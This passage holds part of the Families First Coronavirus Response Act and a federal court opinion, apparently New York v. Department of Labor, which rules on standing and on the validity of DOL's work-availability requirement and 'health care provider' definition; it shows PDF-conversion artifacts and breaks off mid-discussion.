“(B) the date that is 12 weeks after the date on which the employee’s leave under section 102(a)(1)(F) commences.”
SEC. 3103. EMPLOYMENT UNDER MULTI-EMPLOYER BARGAINING AGREEMENTS.

(a) EMPLOYERS.—An employer signatory to a multiemployer collective bargaining agreement may, consistent with its bargaining obligations and its collective bargaining agreement, fulfill its obligations under section 110(b)(2) of title I of the Family and Medical Leave Act of 1993, as added by the Families First Coronavirus Response Act, by making contributions to a multiemployer fund, plan, or program based on the paid leave each of its employees is entitled to under such section while working under the multiemployer collective bargaining agreement, provided that the fund, plan, or program enables employees to secure pay from such fund, plan, or program based on hours they have worked under the multiemployer collective bargaining agreement for paid leave taken under section 102(a)(1)(F) of title I of the Family and Medical Leave Act of 1993, as added by the Families First Coronavirus Response Act.

(b) EMPLOYEES.—Employees who work under a multiemployer collective bargaining agreement into which their employers make contributions as provided in subsection (a) may secure pay from such fund, plan, or program based on hours they have worked under the multiemployer collective bargaining agreement for paid leave taken under section 102(a)(1)(F) of title I of the Family and Medical Leave Act of 1993, as added by the Families First Coronavirus Response Act.

SEC. 3104. SPECIAL RULE FOR CERTAIN EMPLOYERS.

An employer under 110(a)(B) shall not be subject to section 107(a) for a violation of section 102(a)(1)(F) if the employer does not meet the definition of employer set forth in Section 101(4)(A)(i).

SEC. 3105. SPECIAL RULE FOR HEALTH CARE PROVIDERS AND EMERGENCY RESPONDERS.

An employer of an employee who is a health care provider or an emergency responder may elect to exclude such employee from the application of the provisions in the amendments made under of section 3102 of this Act.

SEC. 3106. EFFECTIVE DATE.

This Act shall take effect not later than 15 days after the date of enactment of this Act.
The ongoing COVID-19 pandemic has visited unforeseen and drastic hardship upon American workers. In response to this extraordinary challenge, Congress passed the Families First Coronavirus Response Act, which, broadly speaking, entitles employees who are unable to work due to COVID-19’s myriad effects to federally subsidized paid leave. Congress charged the Department of Labor (“DOL”) with administering the statute, and the agency promulgated a Final Rule implementing the law’s provisions. See 85 Fed. Reg. 19,326 (Apr. 6, 2020) (“Final Rule”).

The State of New York brings this suit under the Administrative Procedure Act, claiming that several features of DOL’s Final Rule exceed the agency’s authority under the statute. The parties have cross-moved for summary judgment, and DOL has moved to dismiss for lack of standing. For the reasons that follow, the Court concludes that New York has standing to sue and that several features of the Final Rule are invalid. New York’s motion for summary judgment is therefore granted in substantial part, as explained below.

I. Background

“COVID-19 [is] a novel severe acute respiratory illness that has killed . . . more than 1[5]0,000 nationwide” to date. South Bay United Pentecostal Church v. Newsom, 140 S. Ct.
Accordingly, social-distancing measures have been taken nationwide, by state and local governments and by civil society, to stem the spread of the virus. The impact on American workers is multifold, as both the infection itself and the public-health response have been dramatically disruptive to daily life and work.

The legislation at the heart of this litigation, the Families First Coronavirus Response Act, is one of several measures Congress has taken to provide relief to American workers and to promote public health. See Pub. L. No. 116-127, 134 State. 178 (Mar. 18, 2020) (“FFCRA”). Broadly speaking, and as relevant here, the FFCRA obligates employers to offer sick leave and emergency family leave to employees who are unable to work because of the pandemic. By granting the employers a corresponding, offsetting tax credit, Congress subsidizes these benefits, though the employers front the costs.

This litigation involves two major provisions of that law: the Emergency Family and Medical Leave Expansion Act (“EFMLEA”) and the Emergency Paid Sick Leave Act (“EPSLA”).

A. Emergency Family and Medical Leave Expansion Act

As its name suggests, the EFMLEA entitles employees who are unable to work because they must care for a dependent child due to COVID-19 to paid leave for a term of several
weeks.\textsuperscript{1} \textit{See} FFCRA §§ 3102(a)(2); 3102(b). Formally, it is an amendment to the Family and Medical Leave Act (“FMLA”), 29 U.S.C. § 2601 \textit{et seq.} Congress ultimately foots the bill for these benefits, by way of a tax credit to the employer or self-employed individual. \textit{See} FFCRA §§ 7003(a), 7004(a).

An employer of “an employee who is a health care provider or emergency responder may elect to exclude such employee” from the benefits provided by the EFMLEA. \textit{See} FFCRA § 3105. The FMLA defines “health care provider” as “a doctor of medicine or osteopathy who is authorized to practice medicine or surgery (as appropriate),” or “any other person determined by the Secretary to be capable of providing health care services.” 29 U.S.C. § 2611(6)(B).

\textbf{B. Emergency Paid Sick Leave Act}

The EPSLA requires covered employers to provide paid sick leave\textsuperscript{2} to employees with one of six qualifying COVID-19-related conditions. \textit{See} FFCRA §§ 5102, 5110(2). The conditions include that the employee: (1) “is subject to a Federal, State, or local quarantine or isolation order related to COVID-19”; (2) “has been advised by a health care provider to self-quarantine due to concerns related to COVID-19”; (3) “is experiencing symptoms of COVID-19 and seeking a medical diagnosis”; (4) “is caring for an individual subject” to a quarantine or isolation order by the government or a healthcare provider; (5) is caring for a child whose school or place of care is closed, or whose childcare provider is unavailable, because of COVID-19; or (6) “is experiencing any other substantially similar condition specified by the Secretary of Health

\textsuperscript{1}The first ten days for which an employee of a covered employer takes emergency family leave under the EFMLEA may be unpaid, but after ten days, employees are entitled to job-protected emergency family leave at two-thirds of their regular wages for another ten weeks. \textit{See} FFCRA § 3102(b) (adding FMLA § 110(b)(2)).

\textsuperscript{2}The EPSLA entitles full-time employees to 80 hours — or roughly two weeks — of job-protected paid sick leave. \textit{Id.} §§ 5102(b)(2)(A), 5104(1).
and Human Services in consultation with the Secretary of the Treasury and the Secretary of Labor.” *Id.* § 5102(a). In parallel to the EFMLEA’s exemption for healthcare providers, under the EPSLA, an employer may deny leave to an employee with a qualifying condition if the employee “is a health care provider or an emergency responder.” *Id.* The statute specifies that “health care provider” has the same meaning given that term in the FMLA. *Id.* § 5110(4) (citing 29 U.S.C. § 2611). And the Secretary of Labor “may issue regulations to exclude certain health care providers and emergency responders from the definition of employee.” *Id.* § 5111(1). As it does under the EFMLEA, the federal government ultimately covers the cost of the benefits through a tax credit to employers. FFCRA §§ 7001(a), 7002.

C. **The Department of Labor’s Final Rule**

On April 1, 2020, DOL promulgated its Final Rule implementing the FFCRA.³ As explained in greater detail below, the present challenge relates to four features of that regulation: its so-called “work-availability” requirement; its definition of “health care provider”; its provisions relating to intermittent leave; and its documentation requirements. Broadly speaking, New York argues that each of these provisions unduly restricts paid leave.

On April 14, 2020, New York filed this suit and simultaneously moved for summary judgment. (See Dkt. No. 1.) On April 28, 2020, DOL cross-moved for summary judgment and moved to dismiss for lack of standing. (See Dkt. No. 24.) Those motions are now fully briefed, and the Court has received the brief of amici curiae Service Employees International and 1199SEIU, United Healthcare Workers East in support of New York.⁴ (See Dkt. No. 31.) The Court heard oral argument on May 12, 2020.

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³ The Rule was promulgated without notice-and-comment procedures, pursuant to a statutory designation of good cause under the APA. See FFCRA §§ 501(a)(3), 5111.

⁴ The unions’ motion to file their amicus brief is granted. (See Dkt. No. 31.)
II. Legal Standard

Summary judgment is appropriate when “there is no genuine dispute as to any material fact and the movant is entitled to judgment as a matter of law.” Fed. R. Civ. P. 56(a). When “a party seeks review of agency action under the APA, the ‘entire case on review is a question of law,’ such that ‘judicial review of agency action is often accomplished by filing cross-motions for summary judgment.’” Just Bagels Mfg., Inc. v. Mayorkas, 900 F. Supp. 2d 363, 372 (S.D.N.Y. 2012) (alteration and citation omitted). Sitting as an “appellate tribunal,” the district court must “decid[e], as a matter of law, whether the agency action is . . . consistent with the APA standard of review.” Zevallos v. Obama, 10 F. Supp. 3d 111, 117 (D.D.C. 2014) (quoting Kadi v. Geithner, 42 F. Supp. 3d 1, 9 (D.D.C. 2012)), aff’d, 793 F.3d 106 (D.C. Cir. 2015).

III. Discussion

A. Standing

The Court’s analysis begins with its jurisdiction, specifically the State of New York’s standing to sue. Though DOL styled its objection to New York’s standing as a motion to dismiss pursuant to Rule 12(b)(1), “each element [of standing] must be supported in the same way as any other matter on which the plaintiff bears the burden of proof, i.e., with the manner and degree of evidence required at the successive stages of the litigation.” Lujan v. Defenders of Wildlife, 504 U.S. 555, 561 (1992). New York has moved for summary judgment on its claims, and it bears the burden of proof at trial to show its own standing. Irrespective of DOL’s labeling, then, New York must demonstrate, through “affidavit or other evidence,” id. at 561, that there exists no genuine dispute of material fact that it has standing, as it must do with respect to every element of its claim to obtain summary judgment.

To establish its constitutional standing, New York must demonstrate (1) an injury in fact . . . [that is] concrete and particularized [and] actual or imminent, not conjectural or
hypothetical,” (2) that the injury is “fairly traceable to the challenged action,” and (3) that it is “likely . . . that the injury will be redressed by a favorable decision.” Lujan, 504 U.S. at 560 (internal alterations, quotation marks, and citations omitted). All three components of standing — injury-in-fact, causation, and redressability — are contested here.

In the context of state standing, courts generally recognize three types of constitutionally cognizable injuries. First, like a private entity, a state may suffer a direct, proprietary injury, for example, a monetary injury. See New York v. Mnuchin, 408 F. Supp. 3d 399, 408 (S.D.N.Y. 2019). Second, a state may suffer an injury to its so-called “quasi-sovereign interests.” Alfred L. Snapp & Son, Inc. v. Puerto Rico ex rel. Barez, 458 U.S. 592, 607 (1982). Though the universe of “quasi-sovereign interests” has never been comprehensively defined, it is understood to encompass both “the health and well-being — [physical and economic — of its residents in general,” as well as the state’s interest in “not being discriminatorily denied its rightful status within the federal system.” Id. When a state sues to vindicate its quasi-sovereign interests, it is said to be suing in its parens patriae capacity. Id. (The third type of injury, which is not at issue in this case, is an injury to a sovereign interest, such as “the power to create and enforce a legal code,” id., or those implicated in the “adjudication of boundary disputes or water rights,” Connecticut v. Cahill, 217 F.3d 93, 97 (2d Cir. 2000).) Importantly, these categories (proprietary, quasi-sovereign, and sovereign) are not hermetically sealed from one another, and a single act may injure a state in more than one respect.

New York claims that the Final Rule’s challenged features, which either limit paid leave or burden its exercise, impose both proprietary and quasi-sovereign injuries on the state. (See Dkt. No. 27 at 3–13.) Without paid leave, New York argues, employees must choose between taking unpaid leave and going to work even when sick. (See Dkt. No. 27 at 7–13.) Some
employees will elect the former, the State predicts, diminishing their taxable income and therefore the State’s tax revenue. (See Dkt. No. 27 at 11–13.) Some will choose the latter, escalating the spread of the virus and thereby raising the State’s healthcare costs. (See Dkt. No. 27 at 7–10.) And overall, the bind employees are left in will result in greater reliance on various state-administered programs, increasing the State’s administrative burden. (See Dkt. No. 27 at 10–11.)

These predictions are supported by New York’s record evidence, which consists of declarations from public-health and policy experts opining, based on empirical studies, that when paid leave is diminished, fewer sick employees take leave, transmission of flu-like diseases rises, and more employees take unpaid leave. (See Dkt. No. 26, Ex. 1, ¶ 17; Dkt. No. 26, Ex. 4 ¶ 12.) Indeed, the Final Rule itself is grounded in an acknowledgement that a dearth of paid leave will result in employees’ being “forced to choose between their paychecks and the individual and public health measures necessary to combat COVID-19.” Final Rule at 19,335. The evidence also suggests that the predictable consequence of the Final Rule will be less taxable income for the state, because both regular wages and paid leave benefits are taxable income, but unpaid leave generates no taxable income. (See Dkt. No. 26, Ex. 3.) Because “[a] state’s ‘loss of specific tax revenues’ is a ‘direct [proprietary] injury’ capable of supporting standing,” New York may sue to vindicate this “[e]xpected financial loss.” New York, 408 F. Supp. 3d at 409 (quoting Wyoming v. Oklahoma, 502 U.S. 437, 448 (1992)) (emphasis added). DOL complains that New York’s evidence is insufficient because at summary judgment, the State is required to show “empirical” evidence quantifying these effects “in minimally concrete numbers and terms.” (Dkt. No. 30 at 5.) But no precedent requires the Court to disregard non-quantitative evidence, or to demand specific numerical projections. To the
contrary, because even “an identifiable trifle” suffices to demonstrate standing, United States v. Students Challenging Regulatory Agency Procedures (SCRAP), 412 U.S. 669, 689 n.14 (1973), all New York must show is that it will be injured, not the magnitude of its injury. Indeed, the very out-of-circuit precedent cited by DOL eschews any notion that the specific amount of the financial loss, rather than the mere fact of it, must be shown to demonstrate standing. See Massachusetts v. U.S. Dep’t of Health and Human Servs., 923 F.3d 209, 226 (1st Cir. 2019) ("The Departments’ attack on the accuracy of the numbers provided by the Commonwealth misses the point: the Commonwealth need not be exactly correct in its numerical estimates in order to demonstrate an imminent fiscal harm."); id. ("Whether costs to the Commonwealth are above or below this [estimate], they are not zero.") In urging that New York’s injury is not sufficiently “concretized,” DOL confuses a qualitatively concrete harm, which the standing precedents require, with a quantitatively concrete harm, which has no special constitutional significance.

Nor is the causal chain between the challenged action and the predicted harm too attenuated. The chain consists of few links, none of which DOL can seriously contest: Restricting eligibility and increasing administrative burdens for paid leave will reduce the number of employees receiving paid leave; some employees who need leave will therefore take unpaid leave; their income will decrease, shrinking the state’s income tax base. Despite the federal government’s characterization, this is hardly an argument “that actions taken by United States Government agencies [will] injure[] a State’s economy and thereby cause[] a decline in general tax revenues.” Wyoming, 502 U.S. at 448. To the contrary, it is the specific and

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5 The Court need not and does not address the alleged diminution in the State’s sales tax revenue, which admittedly rests on a more attenuated causal chain.
imminently threatened diminution of an identifiable source of tax revenue. And by the same
token, New York’s injury will be redressed by a favorable ruling. See Carpenters Indus. Council
v. Zinke, 854 F.3d 1, 6 n.1 (D.C. Cir. 2017) (Kavanaugh, J.) (“Causation and redressability
typically overlap as two sides of a causation coin . . . . [I]f a government action causes an injury,
enjoining the action usually will redress that injury.” (citation and internal quotation marks
omitted)).

Because the threatened injury to New York’s tax revenue is sufficient to support
standing, the Court need not address the state’s alternative theories of standing, namely, the
potential burden on its healthcare system or the injury to its quasi-sovereign interests.6

6 Though the Court does not reach New York’s argument regarding parens patriae
standing, a few words are in order about that theory. By invoking its parens patriae standing,
New York invites the Court to enter something of a legal thicket. It is well established that an
injury to a State’s quasi-sovereign interest fulfills Article III’s requirement that a State suffer an
injury-in-fact. See Alfred L. Snapp & Son, Inc., 458 U.S. at 607. But the courts have also long
recognized that generally, at least in constitutional cases, a State may not invoke its parens patriae standing against the federal government, because, the traditional justification goes, “[i]n that field, it is the United States, and not the State, which represents them as parens patriae.”
Massachusetts v. Mellon, 262 U.S. 447, 486 (1923). This common-law limitation is known as
the “Mellon bar,” named for the almost hundred-year-old case in which it was first articulated.
See id.

The success of New York’s parens patriae argument turns on a fundamental but arguably
unresolved doctrinal question about the Mellon bar: Does Mellon apply in suits, like this one,
brought by a state to enforce a statute rather than the Constitution? See Connecticut v. U.S.
Dep’t of Commerce, 204 F.3d 413, 415 n.2 (2d Cir. 2000) (declining to address question). The
traditional justification for the judge-made limitation would seem to hold no water in that
context, because “[t]he prerogative of the federal government to represent the interests of its
citizens . . . is not endangered so long as Congress has the power of conferring or withholding”
the statutory right. Maryland People’s Counsel v. FERC, 760 F.2d 318, 320 (D.C. Cir. 1985)
(Scalia, J.).

New York contends that the Supreme Court’s decision in Massachusetts v. EPA
definitively resolves this doctrinal question in favor of a state’s parens patriae standing in
statutory actions. (See Dkt. No. 27 at 3–5; see also 549 U.S. 497 (2007).) The Massachusetts
majority’s discussion of parens patriae standing is not a paragon of clarity, but that case aside,
sound arguments nonetheless still seem to support the conclusion that the Mellon bar does not
prohibit suits in which Congress has conferred a statutory cause of action upon a state. There is
no serious question that a quasi-sovereign injury satisfies the “irreducible minimum” of Article III standing; “[o]therwise the numerous cases allowing parens patriae standing in suits not involving the federal government would be inexplicable.” Maryland People’s Counsel, 760 F.2d at 321. Moreover, as noted at the outset, the traditional justification for the Mellon bar is seemingly inapt in the context of claims involving statutory rights. And the imposition of a judge-made, prudential bar to suit when there exists a constitutional case or controversy and Congress has endowed the litigant with a statutory cause of action is seemingly incongruous with the modern recognition that “a federal court’s obligation to hear and decide” cases within its jurisdiction “is virtually unflagging,” see Lexmark Int’l, Inc. v. Static Control Components, Inc., 572 U.S. 118, 128 & n.4 (2014) (internal quotation marks and citation omitted), as well as with basic separation-of-powers principles.

The relevant question, then, would seem to be not whether the state has constitutional standing to bring a suit in its parens patriae capacity (it does, if it has suffered a quasi-sovereign injury), but rather whether the state has statutory standing. Or, to use modern parlance, the relevant question is whether the state’s congressionally conferred cause of action is capacious enough to support a parens patriae suit. See Lexmark, 572 U.S. at 128 n.4 (2014) (explaining that “prudential standing” is really a question of a litigant’s cause of action). Indeed, even Defendants accept the conclusion that if Congress has furnished a cause of action to New York for this kind of suit, the Mellon bar has no application. (See Dkt. No. 25 at 13.) That conclusion squares with the Second Circuit’s approach in parens patriae cases involving private defendants, which distinguishes between the question of constitutional injury to a quasi-sovereign interest and statutory standing to bring a parens patriae action. See Connecticut v. Physicians Health Servs. of Connecticut, Inc., 287 F.3d 110, 120 (2d Cir. 2002). The touchstone, then, is congressional intent.

The D.C. Circuit, which DOL invokes repeatedly, takes just such an approach. That court has long recognized “that the courts must dispense with [the Mellon bar] if Congress so provides.” Maryland People’s Counsel, 760 F.2d at 321; see also Gov’t of Manitoba v. Bernhardt, 923 F.3d 173, 181 (D.C. Cir. 2019) (“Because the Mellon bar is prudential, we have held that the Congress may by statute authorize a State to sue the federal government in its parens patriae capacity.”). And though a recent D.C. Circuit opinion, heavily relied upon by the federal government here, held that the general cause of action in the APA did not alone evince an intent to authorize parens patriae suits by states against the federal government, it withheld judgment on the forfeited argument that the underlying statute forming the basis of the action (in that case, the National Environmental Policy Act) did so. Id. n.4. In short, the D.C. Circuit did not adopt a bright-line rule that APA suits can never be brought in a state’s parens patriae capacity, but rather indicated that the question may turn on congressional intent as expressed in the underlying statute that the litigant claims was violated. That the inquiry might turn on the underlying statute is consistent with direct-injury cases under the APA, where the question of “statutory standing” (i.e., the cause of action) also turns on “the statutory provision whose violation forms the legal basis for his complaint.” Air Courier Conference of Am. v. Am. Postal Workers Union AFL-CIO, 498 U.S. 517, 523 (1991) (internal quotation marks and citation omitted).
Having determined that the State possesses standing based on its proprietary injury to its tax revenue, the Court proceeds to the merits.

B. The Work-Availability Requirement

New York’s first challenge goes to a fundamental feature of the regulatory scheme, the work-availability requirement. By way of reminder, the EPSLA grants paid leave to employees who are “unable to work (or telework) due to a need for leave because” of any of six COVID-19-related criteria. FFCRA § 5102(a). The EFMLEA similarly applies to employees “unable to work (or telework) due to a need for leave to care for . . . [a child] due to a public health emergency.” FFCRA § 101(a)(2)(A). The Final Rule implementing each of these provisions, however, excludes from these benefits employees whose employers “do[] not have work” for them. See Final Rule at 19,349–50 (§§ 826.20(a)(2), (6), (9), (b)(1)).

The limitation is hugely consequential for the employees and employers covered by the FFCRA, because the COVID-19 crisis has occasioned the temporary shutdown and slowdown of countless businesses nationwide, causing in turn a decrease in work immediately available for employees who otherwise remain formally employed. The work-availability requirement may therefore greatly affect the breadth of the statutory leave entitlements.

The question posed to the Court is whether the work-availability requirement is consistent with the FFCRA. But before turning to that central issue, the Court must address the

That understanding has considerable virtues: it harmonizes parens patriae cases with modern standing doctrine, and it confines the Mellon doctrine to its justifiable limits. Neither party here, however, has briefed the question of precisely how this Court should discern such congressional intent — for example, whether the normal zone-of-interests test for statutory standing under the APA applies, or whether, in parens patriae suits against the federal government, federalism concerns require something more searching. And ultimately, the State’s direct, proprietary injury is sufficient to confer constitutional standing, and the federal government has not disputed that the State possesses a right of action to vindicate that injury. The Court therefore need not decide these thorny academic issues.
antecedent question of the work-availability requirement’s scope. Specifically, in the context of
the EPSLA, the express language of the Final Rule applies the work-availability requirement to
only three of the six qualifying conditions. See Final Rule at 19,349–50 (§ 826.20(a)(2), (6),
(9).) DOL nonetheless urges the Court to superimpose the requirement onto the three remaining
conditions. In its view, the statute’s language compels the work-availability requirement, and
therefore, the Final Rule must be interpreted to apply it to each of the six enumerated
circumstances. (See Dkt. No. 30 at 8.)

Even if DOL’s statutory premise were correct, however, its conclusion would not follow.
No canon of regulatory interpretation requires this Court to adopt a saving construction of the
Final Rule, or to interpret it so as to avoid conflict with the statute. To the contrary, the Court
must interpret the Final Rule based on its “text, structure, history, and purpose.” Kisor v. Wilkie,
139 S. Ct. 2400, 2415 (2019). In arguing that the regulation must be interpreted consistent with
the statute, even if such an interpretation is contrary to the regulation’s unambiguous terms, DOL
puts the proverbial cart before the horse.⁷

This Court therefore undertakes anew the task of interpreting the Final Rule, and in so
doing, concludes that its terms are clear: The work-availability requirement applies only to three

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⁷ The doctrine of Auer or Seminole Rock deference is of no help to DOL here. Just last
term, the Supreme Court made clear that “convenient litigating positions” are not entitled to such
deerence, Kisor, 139 S. Ct. at 2417, and DOL has not explained how the interpretation advanced
before this Court is anything more than a newly articulated litigating position.

It is true that deference to an interpretation of a regulation embodied in the regulation’s
preamble is usually warranted, as it “is evidence of an agency’s contemporaneous understanding
of its proposed rules.” Halo v. Yale Health Plan, Dir. of Benefits & Records Yale Univ., 819
F.3d 42, 52–53 (2d Cir. 2016) (citation omitted). But the preamble only reinforces that the
work-availability requirement applies only to three of the six qualifying conditions, in that it only
mentions the requirement in its discussion of some qualifying conditions. See 85 Fed. Reg.
19329–30. And, in any event, even if the preamble supported the agency’s position, it could not
countermand the unambiguous terms of the regulation itself.
of the Emergency Paid Sick Leave Act’s six qualifying conditions. Nothing in the Final Rule’s text or structure suggests the requirement applies outside of the three circumstances to which it is explicitly attached. And, as traditional tools of textual interpretation teach, the explicit recitation of the requirement with respect to some qualifying circumstances suggests by negative implication its inapplicability to the other three. See N.L.R.B. v. SW Gen., Inc., 137 S. Ct. 929, 940 (2017). DOL has proffered no reason, apart from its statutory argument, that the regulation should be interpreted to apply the requirement more broadly than the Final Rule’s express terms command. Accordingly, the Court concludes that the work-availability requirement applies only to three of the six qualifying conditions under the EPSLA, as well as family leave under the EFMLEA.

The question remains, however, whether that regime exceeds the agency’s authority under the statute. To answer that question, the Court must apply Chevron’s familiar two-step framework. See Chevron U.S.A. Inc., v. Natural Resources Defense Council, 467 U.S. 837 (1984). Under Chevron, “if the statute is silent or ambiguous with respect to the specific issue,” courts will defer to an agency’s interpretation as long as it is reasonable. 467 U.S. at 843. Thus, at Chevron’s first step, the Court must determine whether the statute is ambiguous. See Catskill Mountains Chapter of Trout Unlimited, Inc. v. Envtl. Prot. Agency, 846 F.3d 492, 507 (2d Cir. 2017). If it is, the Court must proceed to step two and determine whether the agency’s interpretation of the ambiguous statute is reasonable. See id.

The statute here grants paid leave to employees who, in the case of the EPSLA, are “unable to work (or telework) due to a need for leave because” of any of the six qualifying conditions or, in the case of the EFMLEA, are “unable to work (or telework) due to a need for leave to care for” a child due to COVID-19. See FFCRA §§ 5102(a), 110(a)(2)(A). According
to DOL, those terms are unambiguous, such that the Court’s need not advance to *Chevron’s* second step. Specifically, DOL urges that the terms “due to” (as it appears in both provisions at issue) and “because” *compel* the conclusion that an employee whose employer “does not have work” for them is not entitled to leave irrespective of any qualifying condition. The terms “due to” and “because,” DOL argues, imply a but-for causal relationship. If the employer lacks work for the employee, the employee’s qualifying condition would not be a but-for cause of their inability to work, but rather merely one of multiple sufficient causes. And, DOL adds, an absence from work due to a lack of work is not “leave.”

DOL is correct, of course, that the traditional meaning of “because” (and “due to”) implies a but-for causal relationship. See *Bostock v. Clayton Cty., Georgia*, 140 S. Ct. 1731, 1739 (2020). But to say that these terms usually connote but-for causation is not to say that they unambiguously do. Nor does it necessarily follow that the baseline requirement of but-for causation cannot be supplemented with a special rule for the case of multiple sufficient causation. See *Burrage v. United States*, 571 U.S. 204, 214 (2014) (acknowledging that but-for causation, in typical legal usage, is sometimes supplemented with a special rule for multiple sufficient causation). Indeed, as the Supreme Court recently recognized in another statutory context interpreting the term “because,”

Congress could have taken a more parsimonious approach. As it has in other statutes, it could have added ‘solely’ to indicate that actions taken ‘because of’ the confluence of multiple factors do not violate the law. *Cf.* 11 U.S.C. § 525; 16 U.S.C. § 511. Or it could have written “primarily because of” . . . *Cf.* 22 U.S.C. § 2688. But none of this is the law we have.

*Bostock*, 140 S. Ct. 1731, 1739 (2020). Here, the Court cannot conclude that the terms “because” or “due to” unambiguously foreclose an interpretation entitling employees whose
inability to work has multiple sufficient causes — some qualifying and some not — to paid leave.

Nor is the Court persuaded that the term “leave” requires that the inability to work be caused solely by a qualifying condition. “Leave,” DOL argues, connotes “authorized especially extended absence from duty or employment,” or “time permitted away from work, esp[ecially] for a medical condition or illness or for some other purpose.” (See Dkt. No. 25 at 23 (first quoting Definition of Leave, Merriam-Webster, https://www.merriam-webster.com/dictionary/leave (last accessed Aug. 2, 2020), and then quoting Definition of Leave, Cambridge Dictionary, https://dictionary.cambridge.org/us/dictionary/english/leave (last accessed Aug. 2, 2020).) But those definitions can accommodate New York’s view as well as DOL’s. An employee may need leave (i.e., an agreed-upon and permitted absence from work) tethered to one reason even if her employer has no present work for her due to some other reason. For example, in ordinary usage, a teacher on paid parental leave may still be considered on “leave” even if school is called off for a snow day.

New York, for its part, argues that the statute unambiguously forecloses DOL’s argument. (See Dkt. No. 4 at 8–10.) The statute, New York notes, both uses mandatory language to describe the obligation to provide paid leave and contains several express exceptions to that obligation, suggesting the absence of other implied limitations. (See Dkt. No. 4 at 8.) But those features of the statute are entirely consistent with DOL’s interpretation. The causation requirement in the Final Rule is not an additional, implicit exception, nor a negation of the mandatory nature of the leave obligations, but rather a limiter of the universe of individuals who qualify for the leave in the first instance. The statutory regime cannot be implemented without ascribing some causal requirement to the causal language, and doing so is not tantamount to
adding an additional, exogenous criterion. New York also perceives a conflict between requiring but-for causation and the broader remedial goals of the statute, given that the Final Rule would dramatically narrow the pool of employees entitled to leave as compared to New York’s preferred interpretation. (See Dkt. No. 4 at 10–11.) But any such conflict is immaterial at Chevron’s first step, where the Court’s charge is only to determine whether the statute’s text is ambiguous. And in any event, that Congress’s aim in passing the statute was remedial does not require that every provision of the statute be read to unambiguously be given maximal remedial effect. The statute, like virtually all statutes, reflects a balance struck by Congress between competing objectives.

The statute’s text, the Court concludes, is ambiguous as to whether it requires but-for causation in all circumstances, or instead whether some other causal relationship — specifically, multiple sufficient causation — satisfies its eligibility criteria. The Court must therefore proceed to Chevron’s second step.

At its second step, Chevron requires an inquiry into “whether the agency’s answer [to the interpretive question] is based on a permissible construction.” Catskill Mountains, 846 F.3d at 520 (quoting Mayo Found. for Med. Educ. & Research v. United States, 562 U.S. 44, 54 (2011)). A reviewing court should not “disturb an agency rule at Chevron step two unless it is ‘arbitrary or capricious in substance, or manifestly contrary to the statute.’” Id. Even under this deferential standard of review, interpretations “arrived at with no explanation,” like interpretations “picked out of a hat,” are unacceptably, even if they “might otherwise be deemed reasonable on some unstated ground.” Catskill Mountains, 846 F.3d at 520.

The Final Rule’s work-availability requirement fails at Chevron step two, for two reasons. First, as to the EPSLA, the Final Rule’s differential treatment of the six qualifying
conditions is entirely unreasoned. Nothing in the Final Rule explains this anomaly. And that differential treatment is manifestly contrary to the statute’s language, given that the six qualifying conditions share a single statutory umbrella provision containing the causal language. See FFCRA § 5102(a). Second, and more fundamentally, the agency’s barebones explanation for the work-availability requirement is patently deficient. The requirement, as an exercise of the agency’s delegated authority, is an enormously consequential determination that may considerably narrow the statute’s potential scope. In support of that monumental policy decision, however, the Final Rule offers only ipse dixit stating that “but-for” causation is required. See, e.g., Final Rule at 19329 (reasoning that the work-availability requirement is justified “because the employee would be unable to work even if he or she” did not have a qualifying condition). That terse, circular regurgitation of the requirement does not pass Chevron’s minimal requirement of reasoned decision-making. The work-availability requirement therefore fails Chevron’s second step.

C. Definition of “Health Care Provider”

The State of New York next contends that the Final Rule’s definition of a “health care provider” exceeds DOL’s authority under the statute. (See Dkt. No. 4 at 11–16.) Because employers may elect to exclude “health care providers” from leave benefits, the breadth of the term “health care provider” has grave consequences for employees.

The FMLA, which supplies the relevant statutory definition for both provisions of the FFCRA at issue, defines a “health care provider” as: “(A) a doctor of medicine or osteopathy who is authorized to practice medicine or surgery (as appropriate) by the State in which the doctor practices; or (B) any other person determined by the Secretary to be capable of providing health care services.” 29 U.S.C. § 2611(6). The Final Rule’s definition is worth quoting at
length; invoking the Secretary’s authority under subsection (B), it defines a “health care
provider” for the purposes of the FFCRA leave provisions as:

anyone employed at any doctor’s office, hospital, health care center, clinic, post-secondary educational institution offering health care instruction, medical school, local health department or agency, nursing facility, retirement facility, nursing home, home health care provider, any facility that performs laboratory or medical testing, pharmacy, or any similar institution, Employer, or entity. This includes any permanent or temporary institution, facility, location, or site where medical services are provided that are similar to such institutions,

as well as

any individual employed by an entity that contracts with any of these institutions described above to provide services or to maintain the operation of the facility where that individual’s services support the operation of the facility, [and] anyone employed by any entity that provides medical services, produces medical products, or is otherwise involved in the making of COVID-19 related medical equipment, tests, drugs, vaccines, diagnostic vehicles, or treatments.

Final Rule at 19,351 (§ 826.25). The definition, needless to say, is expansive: DOL concedes that an English professor, librarian, or cafeteria manager at a university with a medical school would all be “health care providers” under the Rule. (See Dkt. No. 25 at 29.)

Returning to Chevron’s first step, the Court concludes that the statute unambiguously forecloses the Final Rule’s definition. The broad grant of authority to the Secretary is not limitless. The statute requires that the Secretary determine that the employee be capable of furnishing healthcare services. It is the “person” — i.e., the employee — that the Secretary must designate. 29 U.S.C. § 2611(6). And the Secretary’s determination must be that the person is capable of providing healthcare services; not that their work is remotely related to someone else’s provision of healthcare services. Of course, this limitation does not imply that the Secretary’s designation must be made on an individual-by-individual basis. But the statutory text requires at least a minimally role-specific determination. DOL’s definition, however, hinges
entirely on the identity of the employer, in that it applies to anyone employed at or by certain classes of employers, rather than the skills, role, duties, or capabilities of a class of employees.

DOL nonetheless urges that its definition is consistent with the context in which the term is used. The term “health care provider,” as used in the FFCRA, serves to exempt employees who are essential to maintaining a functioning healthcare system during the pandemic. See Final Rule at 19,335. A broad definition of “health care provider” operationalizes that goal, because employees who do not directly provide healthcare services to patients — for example, lab technicians or hospital administrators — may nonetheless be essential to the functioning of the healthcare system. (See Dkt. No. 25 at 28.) But that rationale cannot supersede the statute’s unambiguous terms. And, in any event, the Final Rule’s definition is vastly overbroad even if one accepts the agency’s purposivististic approach to interpretation, in that it includes employees whose roles bear no nexus whatsoever to the provision of healthcare services, except the identity of their employers, and who are not even arguably necessary or relevant to the healthcare system’s vitality. Think, again, of the English professor, who no doubt would be surprised to find that as far as DOL is concerned, she is essential to the country’s public-health response. The definition cannot stand.8

